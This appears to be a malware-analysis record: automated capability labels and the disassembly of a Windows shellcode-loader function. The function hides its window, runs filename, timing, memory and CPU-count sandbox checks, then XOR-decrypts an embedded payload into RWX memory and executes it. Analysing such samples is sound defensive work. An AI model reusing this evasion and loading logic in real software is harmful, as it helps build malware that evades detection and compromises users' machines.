Function at 0x140001594
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Get system information on windows
Hide graphical window

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x710
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x6b0], ecx
mov qword [rbp + 0x6b8], rdx
call fcn.140001b50
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp + 0x6b8]
mov rax, qword [rax]
lea rdx, str.lol.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x140001630
mov dword [rbp + 0x66c], 0
mov qword [rbp + 0x660], 0
mov ecx, 0x15ac3934
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
je 0x140001654
jmp 0x14000163a
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x660]
mov r8d, 0x15ac3934
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x65c], eax
mov ecx, 0x2a07
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x658], eax
mov eax, dword [rbp + 0x658]
sub eax, dword [rbp + 0x65c]
cmp eax, 0x2a06
jg 0x14000169d
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x61936e6da
mov qword [rbp + 0x650], rax
mov qword [rbp + 0x688], 0
mov qword [rbp + 0x680], 0
mov qword [rbp + 0x680], 0
jmp 0x1400016f0
add qword [rbp + 0x688], 1
add qword [rbp + 0x680], 1
mov rax, qword [rbp + 0x680]
cmp rax, qword [rbp + 0x650]
jl 0x1400016e0
mov rax, qword [rbp + 0x688]
cmp rax, qword [rbp + 0x650]
je 0x14000171a
mov ecx, 0
call sub.msvcrt.dll_exit
mov qword [rbp + 0x648], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
call rax
mov qword [rbp + 0x648], rax
cmp qword [rbp + 0x648], 0
je 0x1400017a5
lea rax, str.cYflYllqp
mov rcx, rax
call fcn.140001540
lea rax, [rbp + 0x600]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x620]
mov dword [rbp + 0x644], eax
cmp dword [rbp + 0x644], 1
jg 0x1400017b9
jmp 0x1400017af
mov ecx, 0
call sub.msvcrt.dll_exit
mov ecx, 0
call sub.msvcrt.dll_exit
lea rax, [rbp + 0x340]
lea rdx, [0x14000a068]
mov ecx, 0x56
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
movabs rax, 0x3a9fe5ce2c255f79
movabs rdx, 0xcfb6ce229fc5c98e
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x278], rdx
movabs rax, 0x6c8f616da878d5aa
movabs rdx, 0xc57bb2db9899ba55
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x288], rdx
movabs rax, 0x270a7c71c648e382
movabs rdx, 0x5e945bbe0df44ad8
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], rdx
movabs rax, 0xf7b4f7db2045593d
movabs rdx, 0x1bcd605006caa3fd
mov qword [rbp + 0x2a0], rax
mov qword [rbp + 0x2a8], rdx
movabs rax, 0xea5023f89a754e14
movabs rdx, 0xa76d0a45e43d0147
mov qword [rbp + 0x2b0], rax
mov qword [rbp + 0x2b8], rdx
movabs rax, 0xce40edca72c12789
movabs rdx, 0x7ae5bc5bed2344cf
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], rdx
movabs rax, 0xd5e396b43b8b4cb0
movabs rdx, 0x2452748056b23761
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], rdx
movabs rax, 0xa5e0074e15e37a2a
movabs rdx, 0xeea934bc0a86c55
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x2e8], rdx
movabs rax, 0x43ba67a23eedd09
movabs rdx, 0x2af21918ef0f0d3e
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rdx
movabs rax, 0x89f864272600522d
movabs rdx, 0xa47ea0cfa2b1baa5
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x308], rdx
movabs rax, 0xef3e519af8423435
movabs rdx, 0xb162291c1f7eb167
mov qword [rbp + 0x310], rax
mov qword [rbp + 0x318], rdx
movabs rax, 0x7fd5d487d7c133c9
movabs rdx, 0xa132290adc8a8feb
mov qword [rbp + 0x320], rax
mov qword [rbp + 0x328], rdx
movabs rax, 0x84397afefc86a1
mov qword [rbp + 0x32f], rax
mov dword [rbp + 0x67c], 0
mov dword [rbp + 0x678], 0
jmp 0x1400019f1
cmp dword [rbp + 0x67c], 0xc6
jne 0x1400019b5
mov dword [rbp + 0x67c], 0
mov eax, dword [rbp + 0x678]
cdqe
movzx edx, byte [rbp + rax + 0x340]
mov eax, dword [rbp + 0x67c]
cdqe
movzx eax, byte [rbp + rax + 0x270]
xor edx, eax
mov eax, dword [rbp + 0x678]
cdqe
mov byte [rbp + rax - 0x50], dl
add dword [rbp + 0x67c], 1
add dword [rbp + 0x678], 1
mov eax, dword [rbp + 0x678]
cmp eax, 0x2b0
jbe 0x14000199f
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x2b1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov rdx, rax
lea rax, [rbp - 0x50]
mov ecx, 0x2b1
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x638]
call rax
mov eax, 0
add rsp, 0x710
pop rsi
pop rdi
pop rbp
ret